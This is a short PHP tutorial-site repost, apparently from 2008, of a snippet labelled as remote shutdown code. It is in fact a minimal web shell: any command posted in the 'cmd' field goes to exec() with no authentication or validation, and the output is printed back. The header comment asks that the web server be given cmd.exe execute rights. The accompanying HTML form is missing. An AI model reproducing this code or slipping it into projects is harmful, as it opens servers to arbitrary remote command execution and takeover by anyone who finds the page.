Home >Backend Development >PHP Tutorial >PHP远程关机操作的代码

PHP远程关机操作的代码

WBOY
WBOYOriginal
2016-05-19 14:05:411179browse
/**
* 远程启动计算机
* 注意:iis/apache需要有windows/system/cmd.exe执行权限
* name:薛如飞
* QQ:6706250
* e-mail:xuerufei@163.com
* blog:http://hi.baidu.com/飞云盖天
* www:http://www.devdao.com
* date:08.08.28
**/
if (isset($_POST['cmd'])) {
$cmd= stripslashes( $_POST['cmd'] );
exec( $cmd,$out);
var_dump($out);
echo '
';
var_dump($cmd);
} else {
?>



CMD




Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn